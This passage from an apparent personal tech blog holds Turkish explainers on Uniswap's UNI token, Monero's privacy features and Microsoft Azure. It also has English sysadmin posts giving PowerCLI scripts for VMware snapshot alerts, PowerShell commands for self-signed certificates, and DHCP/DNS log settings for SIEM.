değiştirilemez veya sansürlenemez bir dizi akıllı sözleşmedir. Kurucuları (Uniswap Labs) istese bile protokolü kapatamaz. İzinsiz (Permissionless): Herhangi bir token’ı listelemek için kimseden izin almanıza gerek yoktur. Bir token oluşturup (örn. YENICOIN) karşısına ETH koyarak (YENICOIN/ETH havuzu) anında bir piyasa yaratabilirsiniz. Saklamasız (Non-Custodial): Takas yaparken varlıklarınız asla Uniswap’in veya bir başkasının kontrolüne geçmez. Tüm işlemler doğrudan kendi kripto cüzdanınızdan (örn. MetaMask) gerçekleşir. Kontrol %100 sizdedir. Konsantre Likidite (Uniswap v3): Protokolün en son ve en önemli devrimi budur. Eski AMM’lerde (v2), likiditeniz 0 dolardan sonsuza kadar tüm fiyat aralığına yayılırdı. Uniswap v3, likidite sağlayıcıların sermayelerini belirli fiyat aralıklarına “konsantre etmelerine” olanak tanır. (Örn: “Benim 3.000 USDC’m sadece ETH fiyatı 2.900$ ile 3.100$ arasındayken kullanılsın.”). Bu, sermayeyi 4000 kat daha verimli hale getirir ve Uniswap’i dünyanın en likit DEX’i yapar. UNI Token’ı: Token Arzı, Ekonomi ve Gelecek Beklentisi UNI token’ının tokenomisi, diğer projelerin “utility” token’larından farklıdır. UNI, şu anda öncelikle bir Yönetişim (Governance) token’ıdır. Token Arzı ve Dağılımı Maksimum Arz: 1 Milyar UNI (1.000.000.000). Dağılım Modeli: Bu 1 Milyar token’ın tamamı 4 yıllık bir süreç (Eylül 2020 - Eylül 2024) içinde dağıtılmak üzere planlandı. Kilitlerin tamamı Eylül 2024 itibarıyla açılmıştır. %60.00 Topluluğa (Bunun %15’i tarihi Airdrop ile, kalanı likidite madenciliği programları için hazineye ayrıldı). %21.26 Ekip üyelerine (4 yıl kilitli). %18.04 Yatırımcılara (4 yıl kilitli). %0.69 Danışmanlara (4 yıl kilitli). Enflasyon: 4 yıllık dağıtım süreci sona erdikten sonra (Eylül 2024), protokolün hazinesinin tükenmemesi ve uzun vadeli gelişimi fonlayabilmesi için yıllık %2’lik kalıcı bir enflasyon oranı başlamıştır. Bu oran da UNI sahipleri tarafından yönetişim yoluyla değiştirilebilir. Gerçeklik: Ekip ve yatırımcı kilitleri açık olduğu için teknik olarak 1 Milyar UNI’nin tamamı dolaşımdadır. Ancak, bu arzın çok büyük bir kısmı (%40+) protokolün kendi Hazinesinde (Treasury) kilitlidir ve sadece yönetişim oylarıyla harcanabilir. Mevcut Kullanım Alanı: Yönetişim UNI sahipleri, Uniswap protokolünün geleceği hakkında oy kullanır. Bu oylamalar, protokolün hazinesindeki milyarlarca doların nasıl harcanacağı, hangi yeni zincirlerde (örn. Arbitrum, Polygon) konuşlandırılacağı veya en önemlisi “Ücret Düğmesinin” (Fee Switch) açılıp açılmayacağı gibi konuları kapsar. Gelecek Beklentisi ve “Fee Switch” (Asıl Değer Önerisi) İşte UNI token’ının “gerçek” yatırım tezinin başladığı yer burasıdır. Mevcut Durum: Şu anda UNI token’ı, bir şirketin oy kullanma hakkı veren ama temettü (kâr payı) vermeyen hissesi gibidir. Protokol, yapılan takaslardan (swap) muazzam bir gelir (fee) yaratır, ancak bu gelirin %100’ü Likidite Sağlayıcılara (LP’ler) gider. UNI sahipleri protokolün gelirinden sıfır pay alır. Potansiyel Gelecek (Fee Switch): Protokolün kodunda, “Ücret Düğmesi” adı verilen teknik bir mekanizma mevcuttur. Bu “düğme” teknik olarak “kapalı” durumdadır. Gelecek Beklentisi: UNI için tüm uzun vadeli değer beklentisi, bu “Fee Switch”in UNI sahiplerinin oylarıyla “açılmasına” bağlıdır. Eğer bu düğme açılırsa: Protokol, elde ettiği işlem ücretlerinin bir kısmını (topluluk teklifleri genelde 1/10 ile 1/4 arası bir oranı tartışır) doğrudan UNI token sahiplerine veya UNI stake edenlere dağıtmaya başlar. Etkisi: Bu gerçekleştiği an, UNI, spekülatif bir yönetişim token’ı olmaktan çıkar; kripto dünyasının en kârlı ve en çok kullanılan protokollerinden birinin kârını (pasif gelir) doğrudan sahiplerine dağıtan, “temettü” ödeyen bir “verim varlığına” (productive asset) dönüşür. Engel: Bunun önündeki en büyük engel yasal belirsizliklerdir. ABD’deki SEC (Menkul Kıymetler ve Borsa Komisyonu) gibi düzenleyicilerin, bu tür bir mekanizmanın UNI’yi bir “menkul kıymet” (security) olarak sınıflandırmasından endişe edilmektedir. (Uniswap Labs, bu konuda SEC’den bir “Wells Notice” uyarısı almıştır). Sonuç Uniswap, “bir gün kullanılacak” teorik bir proje değildir. O, Merkeziyetsiz Finans’ın (DeFi) temel altyapısıdır. Zaten çalışıyor, her gün milyarlarca dolarlık işlem hacmi yapıyor ve on binlerce token için birincil likidite merkezi konumunda. UNI token’ının gelecekteki değeri ise tek bir “gerçekliğe” bağlıdır: Topluluğun, yasal riskleri göğüsleyerek “Fee Switch”i açıp açmayacağı. Eğer bu gerçekleşirse, UNI, kripto dünyasının en değerli “mavi çip” (blue-chip) varlıklarından biri olma potansiyeline sahiptir. --- ## Monero (XMR) Nedir? Gerçek Gizlilik için Yaratılan Kripto Para Link: https://farukguler.com/posts/monero-xmr-nedir/ Monero (XMR), 2014 yılında piyasaya sürülen, temel amacı tam gizlilik, anonimlik ve takip edilemezlik olan, merkeziyetsiz bir kripto para birimidir. Bitcoin ve diğer birçok kripto paranın aksine, Monero’da işlemler herkese açık bir defterde (blockchain) kaydedilir, ancak bu kayıtlardaki gönderici, alıcı ve miktar bilgileri tamamen gizlenir. Bitcoin’de tüm işlemler “şeffaftır” (pseudonymous - takma adlı). Bir cüzdan adresinin kime ait olduğunu bilmeseniz de, o adresin tüm işlem geçmişini ve bakiyesini herkes görebilir. Monero’da ise bu mümkün değildir. Monero, gizliliği bir “seçenek” olarak sunmaz; gizlilik varsayılan ve zorunludur. Monero’nun Gizlilik Teknolojisi Nasıl Çalışır? Monero, “Görünmezlik Üçgeni” olarak adlandırılabilecek üç temel kriptografik teknolojiyi bir arada kullanır: 1. Ring Signatures (Halka İmzalar): Göndericiyi Gizler Bir Monero işlemi gönderdiğinizde, sizin dijital imzanız, blockchain’den alınan geçmişteki rastgele “sahte” imzalarla (decoys/sahte katılımcılar) karıştırılır ve bir “halka” oluşturulur. Sonuç: Ağ, bu “halka” içindeki bir grubun işlemi imzaladığını bilir, ancak tam olarak hangi üyenin işlemi gerçekleştirdiğini ayırt edemez. Analoji: Bir grup insanın arasına karışıp kalabalığın içinden bir mektup göndermek gibidir. Mektubun o gruptan geldiği bellidir, ancak kimden geldiği belli değildir. 2. Stealth Addresses (Gizli Adresler): Alıcıyı Gizler Monero’da alıcının herkese açık bir “ana adresi” olsa da, fonlar asla doğrudan bu adrese gönderilmez. Gönderici, her bir işlem için alıcının ana adresini kullanarak benzersiz ve tek kullanımlık bir “gizli adres” (stealth address) oluşturur. Para bu tek kullanımlık adrese gönderilir. Sadece alıcı, kendi “özel görüntüleme anahtarı” (private view key) ile blockchain’i tarayarak bu tek kullanımlık adresin kendisine ait olduğunu anlayabilir. Sonuç: Blockchain’e dışarıdan bakan hiç kimse, hangi işlemin hangi alıcıya gittiğini veya farklı işlemlerin aynı alıcıya gidip gitmediğini anlayamaz. 3. RingCT (Ring Confidential Transactions): Miktarı Gizler Monero’nun gizliliğini tamamlayan son parça da miktarın gizlenmesidir. RingCT, işlem miktarlarını kriptografik olarak şifreler. Ağ, sıfır bilgi kanıtlarına (zero-knowledge proofs) benzer bir yöntem kullanarak, gönderilen ve alınan miktarları görmeden matematiksel olarak işlemin geçerli olduğunu (örn. girdi >= çıktı olduğunu ve yeni para yaratılmadığını) doğrulayabilir. Sonuç: Sizin cüzdanınızda ne kadar XMR olduğunu veya bir başkasına ne kadar XMR gönderdiğinizi sizden başka kimse bilemez. Konsensüs ve Madencilik: RandomX Monero, ağ güvenliği için Proof-of-Work (PoW) konsensüs mekanizmasını kullanır. Ancak Bitcoin’in SHA-256 algoritmasından farklı olarak, Monero RandomX adı verilen özel bir algoritma kullanır. ASIC Direnci ve Merkeziyetsizlik RandomX, özellikle genel amaçlı CPU’lar (işlemciler) üzerinde verimli çalışmak üzere tasarlanmıştır. Amacı, ASIC (Uygulamaya Özel Entegre Devre) adı verilen pahalı ve özel madencilik cihazlarına karşı dirençli olmaktır. Bitcoin’de ASIC cihazları madenciliği domine ederek büyük madencilik havuzları lehine merkezileşmeye yol açmıştır. Monero ise RandomX sayesinde, sıradan bir ev bilgisayarı işlemcisiyle bile madencilik yapılabilmesine olanak tanıyarak madencilik gücünü merkeziyetsiz tutmayı hedefler. XMR Tokenomiği ve “Tail Emission” (Kuyruk Emisyonu) XMR, Monero ağındaki tüm işlemler için (gizli transferler) ödeme yapmak ve madencileri ödüllendirmek için kullanılan yerel para birimidir. Monero’nun tokenomiğinde en dikkat çekici özellik “Halving” (yarılanma) olmamasıdır. Bunun yerine, “kuyruk emisyonu” (tail emission) adı verilen benzersiz bir modeli vardır: Sürekli Blok Ödülü: Monero’nun ana arz eğrisi (blok ödüllerinin zamanla azalması) Mayıs 2022 civarında sona erdi. Bitcoin’in aksine, Monero’da blok ödülü asla sıfıra düşmez. Bu tarihten sonra, ağ sonsuza kadar her yeni blok için madencilere sabit 0.6 XMR ödül vermeye başlamıştır. Kuyruk Emisyonunun Amacı Nedir? Bu tasarımın iki temel amacı vardır: Kalıcı Güvenlik Teşviki: Madencilerin ağı güvence altına almaları için her zaman istikrarlı bir teşvik (blok ödülü) olmasını sağlar. Ağın güvenliği, yalnızca değişken olan işlem ücretlerine (fee market) bağımlı kalmaz. Dinamik Blok Boyutu: Madenciler her zaman minimum bir ödül alacaklarını bildikleri için, işlem ücretleri düşük olsa bile ağı çalıştırmaya devam ederler. Bu model, sonsuza kadar devam eden düşük ve öngörülebilir bir enflasyon oranı (yıllık %1’in altına düşen) yaratır. Zorluklar: Regülasyon ve Borsa Delistleri Monero’nun sunduğu rakipsiz gizlilik, onu aynı zamanda yasal zorlukların da hedefi haline getirmiştir. Yasa Dışı Kullanım: Takip edilemez doğası nedeniyle Monero, fidye yazılımları (ransomware) ve darknet marketleri gibi yasa dışı faaliyetlerde tercih edilen bir para birimi olmuştur. Regülasyon Baskısı (KYC/AML): Dünyanın dört bir yanındaki düzenleyici kurumlar, “Müşterini Tanı” (KYC) ve “Kara Para Aklamayı Önleme” (AML) yasalarına uymaları için borsalara baskı yapmaktadır. Monero’nun gizliliği, borsaların bu yasalara uymasını teknik olarak imkansız hale getirdiği için, Binance, OKX ve Kraken (İngiltere/İrlanda) gibi birçok büyük borsa Monero’yu (XMR) listelerinden çıkarmak (delist) zorunda kalmıştır. Sonuç Monero, “akıllı sözleşme platformu” veya “DeFi ekosistemi” olma iddiasında değildir. Tek bir şeye odaklanmıştır: Bitcoin’in ilk vaadi olan, ancak tam olarak yerine getiremediği gerçek dijital nakit (P2P electronic cash) olmak. Sunduğu güçlü ve varsayılan gizlilik özellikleri onu teknik olarak en başarılı kripto paralardan biri yaparken, aynı özellikler onu düzenleyicilerin hedefi haline getirmiş ve ana akım benimsemesinin önündeki en büyük engel olmuştur. --- ## Vmware Snapshot Mail Notifications, ESXI Mismatch Check Link: https://farukguler.com/posts/vmware-powercli/ PS ISE Vmware Snapshot Check Mail Notifications Connect-VIServer "YourvCenter"$Header = @"<style>BODY{font-family: Arial; font-size: 12pt;}"TABLE {border-width: 1px; border-style: solid; border-color: black; border-collapse: collapse;}TH {border-width: 1px; padding: 3px; border-style: solid; border-color: black; background-color: #6495ED;}TD {border-width: 1px; padding: 3px; border-style: solid; border-color: black;}</style>"@$Date = Get-Date$AllVMs = Get-VM -Location "clustername"$owners = $AllVMs.CustomFields | Where-Object -Property key -EQ "VM Owner" | select -Uniqueforeach($owner in $owners){$vms = $allvms | where {$_.CustomFields.value -eq $owner.value}$Result=foreach($vm in $vms){ $VMOwner = ($VM.CustomFields | Where-Object -Property key -EQ "VM Owner").Value.Replace('@domain.com', '') $VMSnapshots = $VM | Get-Snapshot $e= $VMOwner+"@domain.com" foreach ($Snapshot in $VMSnapshots) { [pscustomobject]@{ "VM Name:" = $VM.Name "VM Owner:" = $VMOwner "Snapshot Name:" = $Snapshot.Name "Snapshot Description:" = $Snapshot.Description "Total Snapshots in this VM:" = ($VMSnapshots | Measure-Object).Count "Date Creation:" = $Snapshot.created "Snapshot age (Days):" = [System.Math]::Round( ($Date - $Snapshot.Created).TotalDays / 1) "Snapshot SizeGB" = [System.Math]::Round($Snapshot.SizeGB, 1) "Total Snapshots SizeGB:" = [System.Math]::Round( ($VMSnapshots | Measure-Object -Sum SizeGB).Sum, 1)} }}$Email = $Result| ConvertTo-Html -Head $Header $e= ($VM.CustomFields | Where-Object -Property key -EQ "VM Owner").value if($result -eq "" -or $result -eq $null) {write host "no snap on $vm"}else{Send-MailMessage -Subject "Your VM's have snapshot!" -Body " <h1 style=color:black;font-size:20px;>Dear, $VMOwner</h1><span style=color:black;font-size:16px;> We notice that the following VM includes snapshots, <br />this means that snapshots are utilized storage capacity and degraded the server performance.<br /> Please login to the vCenter and delete unnecessary snapshots, otherwise, you can send us email at infra@domain.com and we'll do it for you. <br /> <br /> - If snapshot is required, send us email to exclude this vm from alert.<br /><br /> Thank you very much.<br /><br /></p> </span ></style> $Email " -BodyAsHtml -SmtpServer "EmailServer" -From VMware@domain.com -to $e}} Get all ESXI details Powercli $myESXiHosts = Get-VMHost | %{ $_ | Select Name,@{N="ESXi Version";E={"$($_.Version) build $($_.Build)"}},@{N="vCenter";E={$_.cluster.Split('/')[2]}},@{N="vCenter version";E={$global:DefaultVIServers | where {$_.Name -eq ($_.ExtensionData.Client.ServiceUrl.Split('/')[2])} | %{"$($_.Version) build $($_.Build)"}}},@{N="Make";E={(Get-EsxCli -VMHost $_.Name).hardware.platform.get().VendorName}},@{N="Model";E={(Get-EsxCli -VMHost $_.Name).hardware.platform.get().ProductName}},@{N="Serial";E={(Get-EsxCli -VMHost $_.Name).hardware.platform.get().SerialNumber}}}$myESXiHosts | Export-csv C:\Esxi.csv Find VM name and Folder is mismatch $VMFolder = @()Foreach ($VM in (Get-VM |Get-View)){$Details = “” |Select-Object VM,Path$Folder = ((($VM.Summary.Config.VmPathName).Split(‘]‘)[1]).Split(‘/‘))[0].TrimStart(‘ ‘)$Path = ($VM.Summary.Config.VmPathName).Split(‘/‘)[0]If ($VM.Name-ne $Folder){$Details.VM= $VM.Name$Details.Path= $Path$VMFolder += $Details}}$VMFolder |Export-Csv -NoTypeInformation C:\Mismatch.csv --- ## Generate a Self-Signed Digital Certificate Powershell Link: https://farukguler.com/posts/generate-a-self-signed-digital-certificate-powershell/ ✅ Self Signed SSL Certificate ✅ SSL Certificates from Trusted CA To create an SSL/TLS certificate, a global (CA - Certificate Authority) such as GoDaddy, GlobalSign, GlobalSign, etc. is usually consulted. However, in development and testing environments, you can use a certificate called "Self-Signed Certificate". However, browsers do not trust these certificates even though the connection is encrypted, it is normal to receive warnings that the connection is not secure. You can overcome this problem by adding it to the trusted certificates in your browser. A "self-signed certificate" is a certificate that is signed by the owner of a security certificate (such as an SSL/TLS certificate) and is not approved by a third-party certificate authority (CA - Certificate Authority). Public Certificate Authorities are third-party organizations that are generally recognized by browsers and operating systems, verify their trustworthiness, and manage the process of providing users with a secure connection by signing certificates. GoDaddyLet's EncryptVeriSign (Symantec)DigiCertGlobalSignComodo (Sectigo).etc Generate Basic Self-Signed Certificate: New-SelfSignedCertificate -CertStoreLocation Cert:\LocalMachine\My -DnsName "*.guler.com"**Creating one certificate with Subject Alternative Name: [SAN]New-SelfSignedCertificate -DnsName "*.guler.com", "*.itteam.org" -CertStoreLocation "cert:\LocalMachine\My"#Verify:Get-ChildItem -Path Cert:\LocalMachine\My#Get Certificate Expire Date:Get-ChildItem -path Cert:\LocalMachine\My | select FriendlyName, NotAfter, DNSNamelist In PowerShell, "Get-Command -Module PKI" lists all the cmdlets available in the PKI (Public Key Infrastructure) module. This module provides tools for working with digital certificates and certificate stores. Some of the most important parameters of the New-SelfSignedCertificate cmdlet: ParameterDescrIptIonExample-DnsNameSpecifies the DNS names the certificate will be valid for.New-SelfSignedCertificate -DnsName "guler.com"-CertStoreLocationSpecifies the certificate store location.New-SelfSignedCertificate -DnsName "guler.com" -CertStoreLocation "Cert:\LocalMachine\My"-KeyLengthSpecifies the length of the key in bits.New-SelfSignedCertificate -DnsName "guler.com" -KeyLength 2048-SubjectSpecifies the subject name (CN) of the certificate.New-SelfSignedCertificate -DnsName "guler.com" -Subject "CN=guler.com"-NotBeforeSpecifies the start date and time of the certificate’s validity period.New-SelfSignedCertificate -DnsName "guler.com" -NotBefore (Get-Date).AddDays(-1)-NotAfterSpecifies the end date and time of the certificate’s validity period.New-SelfSignedCertificate -DnsName "guler.com" -NotAfter (Get-Date).AddYears(2)-FriendlyNameSpecifies a friendly name for the certificate.New-SelfSignedCertificate -DnsName "guler.com" -FriendlyName "Guler Wildcard Certificate"-KeyAlgorithmSpecifies the key algorithm to use.New-SelfSignedCertificate -DnsName "guler.com" -KeyAlgorithm RSA-HashAlgorithmSpecifies the hash algorithm to use.New-SelfSignedCertificate -DnsName "guler.com" -HashAlgorithm SHA256 Generate Advanced Self-Signed Certificate: New-SelfSignedCertificate ` -CertStoreLocation Cert:\LocalMachine\My ` -DnsName "*.guler.com", "guler.com" ` -FriendlyName "Guler Wildcard Certificate" ` -Subject "CN=*.guler.com, O=GTech, OU=IT, L=OP, S=IST, C=TR, E=jd@jd.com" ` -NotBefore (Get-Date) ` -NotAfter (Get-Date).AddYears(2) ` -KeyAlgorithm RSA ` -KeyLength 2048 ` -KeyUsage DigitalSignature, KeyEncipherment, KeyAgreement ` -KeyExportPolicy Exportable ` -HashAlgorithm "SHA256" ` -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" ` -Type SSLServerAuthentication **This script creates a self-signed certificate for the DNS name “*.guler.com” and installs it in the local machine’s personal certificate store. [Cert:\LocalMachine\My] Export to Dir: #Export the certificate with its private key as a PFX:Get-ChildItem -Path Cert:\LocalMachine\My # *ThumbprintExport-PfxCertificate -Cert Cert:\LocalMachine\My\[Thumbprint] -FilePath C:\example.pfx -Password (ConvertTo-SecureString -String "pass123" -Force -AsPlainText)#Export all certificates under cert:\LocalMachine\my store: [SST]Get-ChildItem -Path cert:\LocalMachine\my | Export-Certificate -FilePath c:\allcerts.sst#Export all certificate without its private key as a CER:New-Item -ItemType Directory -Path "C:\CertExports" -Force | Out-Null$certs = Get-ChildItem -Path cert:\LocalMachine\Myforeach ($cert in $certs) { Export-Certificate -Cert $cert -FilePath "C:\CertExports\$($cert.Thumbprint).cer"} #Import the Certificate to Trusted Root CAs. #Import pfx file:Import-PfxCertificate -FilePath C:\example.pfx -CertStoreLocation Cert:\LocalMachine\Root -Password (ConvertTo-SecureString -String "pass123" -AsPlainText -Force)#Import cert file:Import-Certificate -FilePath "C:\guler.cer" -CertStoreLocation cert:\LocalMachine\Root ✨You can now sign scripts with your certificate, convert them to the format you want and use them in other web services (Apache, Nginx, etc.). #Delete Self-Signed Certificate: #Remove-Item -Path Cert:\CurrentUser\My\[Thumbprint] -DeleteKey#Remove-Item Cert:\LocalMachine\My\[THUMBPRINT] -Force Error resolution is considered successful if you can put the pieces of the puzzle together. 💖❤︎ --- ## SIEM DHCP-DNS and more Integration Link: https://farukguler.com/posts/siem-dhcp-dns-and-more-integration/ DHCP Server By default, the maximum log file size of the Windows DHCP server is 70 MB. When the log file reaches 70 MB, new events will stop being added to the log file. From 00.00 AM, it will start writing new logs to the next day.As ipV4 and ipV6, the log files are stored separately in 10MB and the sum of day+mb equals= 70MB. Default log path: "C:\Windows\System32\dhcp" Logs can be activated both via Default and Event viewer. #Registry Editor:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DHCPServer\Parameters""DhcpLogFilesMaxSize""Decimal""700" > PS\.> Get-DhcpServerAuditLogPath : C:\Windows\system32\dhcpEnable : TrueMaxMBFileSize : 700DiskCheckInterval : 50MinMBDiskSpace : 20> Restart-Service DHCPServer DNS Server By default, Debug logging can be enabled both via Debug logging and via the Event viewer.Debug logging is also used for debugging.Microsoft says that by default the max log file can reach a size of about 4.2 GB [4294967295 byte] The size is calculated in [bytes]. Default log path: "C:\Windows\System32\dns" #Registry Editor:"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters""LogFileMaxSize""Decimal""4294967295" > PS\.> 4GB / 1 #gb to byte> Get-DNSServerDiagnostics> Restart-Service -Name "DNS" Click OK again to enable the DNS Server Analytic event log. By default, analytic logs are written to the file: "%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-DNSServer%4Analytical.etl" You can also enable Log file rotation for SIEM. https://www.google.com/search?q=dns+server+enable+Log+file+rotation and more Written by theguler with love in Turkey 💖 --- ## What is Microsoft Azure Link: https://farukguler.com/posts/microsoft-azure-nedir/ Microsoft Azure,  Microsoft Azure, Microsoft'un bulut bilişim hizmetidir. Kurumsal müşterilerin, web uygulamaları, veritabanları, sanal makineler, depolama ve diğer hizmetleri barındırmalarına, yönetmelerine ve ölçeklendirmelerine olanak tanır. Microsoft Azure, dünya genelindeki Microsoft veri merkezlerinde barındırılan ve Microsoft tarafından yönetilen bir dizi bulut hizmeti sunar. Bu hizmetler, Platform as a Service (PaaS), Infrastructure as a Service (IaaS) ve Software as a Service (SaaS) gibi bulut bilişim modellerini kullanır. Azure, bir dizi hizmet sunar, örneğin: Virtual Machines (Sanal Makineler) Storage (Depolama) Databases (Veritabanları) App Services (Uygulama Hizmetleri) Networking (Ağ) Analytics (Analitik) Azure, Microsoft'un diğer ürünleriyle (Office 365, Dynamics 365, Windows gibi) entegre edilebilir ve ayrıca üçüncü taraf uygulamalarıyla da entegre edilebilir. Ayrıca, açık kaynaklı yazılımları ve çeşitli programlama dillerini de destekler. Azure'un alternatifleri arasında Amazon Web Services (AWS), Google Cloud Platform (GCP), IBM Cloud ve Oracle Cloud bulunur. Microsoft Azure Ne İşe Yarar? Microsoft Azure, bulut bilişim hizmetleri sunan bir platformdur. Bu platform, kuruluşlar ve bireyler için farklı çözümler sunarak işlerinin dijital dönüşümüne yardımcı olur. Azure'un sunduğu hizmetler arasında şunlar yer alır: Sanal makine hizmetleri: Sanal makineleri barındırmak ve yönetmek için kullanılan bir hizmettir. Depolama: Veri depolamak için kullanılan bir hizmettir. Verilerinize erişmek için herhangi bir yerden bağlanabilirsiniz. Veritabanı hizmetleri: SQL veritabanları gibi farklı veritabanı hizmetleri sunar. Analitik: Big data ve veri analitiği için farklı hizmetler sunar. Yapay zeka ve makine öğrenimi: Yapay zeka ve makine öğrenimi uygulamaları için farklı hizmetler sunar. Mobil uygulama geliştirme: Mobil uygulamalar geliştirmek için farklı hizmetler sunar. İnternet of Things (IoT): Nesnelerin interneti uygulamaları için farklı hizmetler sunar. Web uygulamaları: Web uygulamaları geliştirmek için farklı hizmetler sunar. Azure'un avantajları arasında yüksek performans, güvenilirlik, esneklik, ölçeklenebilirlik, kolay kullanım ve düşük maliyetler yer alır. Ayrıca, Microsoft Azure, diğer Microsoft ürünleri ve hizmetleriyle entegre edilebilir, bu da kullanıcıların işlerini daha da kolaylaştırır. Microsoft Azure Nasıl Kullanılır? Microsoft Azure, bir dizi bulut hizmeti sunar ve kullanımı oldukça geniştir. Azure'ı kullanarak, depolama, veritabanı, yapay zeka, yapısallaştırılmış çözümler, ağ hizmetleri ve daha pek çok şey gibi farklı hizmetlerden yararlanabilirsiniz. Azure kullanmak için öncelikle bir hesap oluşturmanız gerekmektedir. Bunun için Microsoft Azure web sitesindeki kayıt sayfasına giderek, bir Microsoft hesabı kullanarak hesap oluşturabilirsiniz. Hesabınızı oluşturduktan sonra, Azure Portalı'na erişebilirsiniz. Portal, bir web arayüzüdür ve Azure'da kullandığınız tüm hizmetleri yönetmenizi sağlar. Azure Portal'ı kullanarak, kaynaklarınızı yönetebilir, hizmetlerinizi yapılandırabilir ve izleyebilirsiniz. Azure Portal'ı kullanarak, birçok farklı hizmeti kolayca oluşturabilirsiniz. Örneğin, bir sanal makine oluşturmak istiyorsanız, sanal makine oluşturma aracını kullanarak birkaç adımda sanal makinenizi oluşturabilirsiniz. Veritabanları, depolama hesapları, ağ hizmetleri ve daha pek çok hizmet için de benzer şekilde kolayca oluşturma araçları mevcuttur. Azure ayrıca, REST tabanlı API'leri aracılığıyla programatik olarak da kullanılabilir. Bu, özelleştirilmiş bir yapılandırma veya özel senaryolar için daha ileri seviye kontrole olanak tanır. Azure kullanarak, yalnızca kaynaklarınızı oluşturmakla kalmaz, aynı zamanda bu kaynakları izlemek, güncellemek ve ölçeklendirmek gibi yönetim görevlerini de gerçekleştirebilirsiniz. Bu, uygulama geliştiricileri ve IT profesyonelleri için büyük kolaylık sağlar. Azure Ürünleri Nelerdir: Microsoft Azure, çeşitli hizmetleri barındıran geniş bir bulut bilişim platformudur. Azure'un sunduğu ürün ve hizmetler arasında şunlar bulunur: Sanal makineler: Linux veya Windows tabanlı sanal makineler oluşturarak ve yöneterek iş yüklerinizi dağıtabilirsiniz. Veritabanları: İlişkisel veritabanları (SQL), NoSQL veritabanları (Cosmos DB) ve kümelenmiş veri depolama hizmetleri (Data Lake) ile veri depolayabilirsiniz. Yönetilen hizmetler: Veri analizi (Data Factory, Databricks), sunucu olmadan uygulama barındırma (Azure Functions), sesli, görüntülü ve metin tabanlı iletişim (Bot Servisleri) gibi birçok hizmet sunar. Yapay zeka ve makine öğrenmesi: Önceden eğitilmiş modeller (Custom Vision), otomatik öğrenme (Automated ML) ve veri bilimi platformları (Azure Machine Learning) ile yapay zeka ve makine öğrenmesi uygulamaları geliştirebilirsiniz. Kimlik yönetimi: Bulut tabanlı kimlik yönetimi hizmetleri (Azure Active Directory) ve birleşik kimlik yönetimi (Azure AD Connect) ile kullanıcıların kimliklerini yönetebilirsiniz. Güvenlik ve uyumluluk: Verilerinizi güvenli hale getiren, uçtan uca şifreleme (Azure Key Vault) ve ISO, HIPAA, PCI DSS ve GDPR gibi birçok standart ile uyumlu olan çözümler sunar. Analitikler ve IoT: Büyük veri işleme ve analiz hizmetleri (Azure Stream Analytics), Nesnelerin İnterneti (IoT) platformları (Azure IoT Hub) ve gerçek zamanlı veri akışları (Azure Event Hubs) ile akıllı cihazlar ve IoT projeleri geliştirebilirsiniz. Depolama: Blob, dosya, arşiv ve disk depolama gibi depolama seçenekleri sunar. Bu ürünlerin yanı sıra, Azure ayrıca pek çok üçüncü taraf uygulama ve hizmeti barındırır ve sunar. Microsoft Azure İle İlgili En Çok Sorulan Sorular Bulut Bilişim Nedir? Bulut bilişim, internet üzerinden sunulan bilgi işlem kaynaklarının paylaşımına dayalı bir bilgi teknolojisi modelidir. Bu modelde, donanım, yazılım ve veri işleme hizmetleri internet üzerinden sağlanır ve kullanıcılara istedikleri zaman, istedikleri yerden erişim imkanı sunulur. Böylece, kullanıcılar kendi bilgisayarlarına veya sunucularına yüklenmesi gereken yazılım ve verileri, bulut bilişim sayesinde internet üzerinden kullanabilirler. Bulut bilişim sayesinde kullanıcılar, ölçeklenebilir kaynaklar sunan hizmetlerden faydalanabilirler. İhtiyaca göre kaynaklar artırılabilir veya azaltılabilir. Ayrıca, bulut bilişim hizmetlerinin birçoğu, yüksek kullanılabilirlik, veri yedekleme ve güvenlik özellikleri gibi ekstra faydalar sunar. Bulut bilişim, işletmelerin maliyetlerini düşürmesine ve verimliliklerini arttırmasına yardımcı olur. Ayrıca, birçok endüstride yenilikçi iş modellerinin oluşmasına ve gelişmesine de imkan tanır. Sonuç olarak, bulut bilişim günümüzde birçok kişi ve işletme tarafından kullanılan yaygın bir teknoloji haline gelmiştir. Azure Bulut Bilgi İşlem Türleri Nedir? Microsoft Azure bulut bilgi işlem türleri: 1)IASS 2)PAAS 3)SAAS" Microsoft Azure'da kullanılabilen farklı bulut bilişim türleri şunlardır: Bilişim Altyapısı hizmetleri (IaaS): Fiziksel sunucu, depolama ve ağ bileşenleri gibi temel BT altyapısının sanallaştırılmış hizmetlerini sağlar. Azure sanal makineleri (Virtual Machines) gibi hizmetler bu kategoriye girer. Platform Hizmetleri (PaaS): Uygulama geliştiricilerinin web uygulamaları, veritabanları ve mobil uygulamalar gibi uygulama bileşenlerini hızlı bir şekilde oluşturabilmelerine yardımcı olan hizmetlerdir. Azure App Service, Azure SQL Database, ve Azure Functions gibi hizmetler bu kategoriye girer. Yazılım Hizmetleri (SaaS): Kullanıcıların internet üzerinden yazılım uygulamalarına erişmelerini sağlayan hizmetlerdir. Microsoft 365 ve Dynamics 365 gibi Microsoft ürünleri bu kategoriye girer. Bu farklı türler, kullanıcıların işletmelerine özel bir çözüm tasarlama ihtiyaçlarına göre bir arada kullanılabilir ve ölçeklenebilir. Azure’de Kullanılan En Önemli Temel Terimler Nelerdir? Azure'de kullanılan en önemli temel terimler şunlardır: Abonelik (Subscription): Azure hizmetlerini kullanmak için abonelik gereklidir. Abonelikler, bir kullanıcının Azure'de kaynaklarını oluşturduğu ve yönettiği birimlerdir. Kaynak Grubu (Resource Group): Kaynak grupları, ilişkili kaynakların bir araya toplandığı birimlerdir. Kaynak grupları, aynı uygulama için gereken kaynakları bir arada tutar ve yönetimi kolaylaştırır. Sanal Makine (Virtual Machine): Sanal makineler, işletim sistemleri ve uygulamaları için sanal bir ortam sağlar. Sanal makineler, fiziksel bir sunucunun görevlerini sanal olarak gerçekleştirir. Depolama Hesabı (Storage Account): Depolama hesapları, verilerin depolanması ve yönetilmesi için kullanılır. Blob depolama, dosya depolama ve tablo depolama gibi depolama türleri sunar. Ağ (Network): Azure ağları, sanal makineler ve diğer kaynaklar arasında iletişimi sağlar. Sanal ağlar, ağ güvenliği ve trafik yönetimi gibi özellikler sunar. Yük Dengeleyici (Load Balancer): Yük 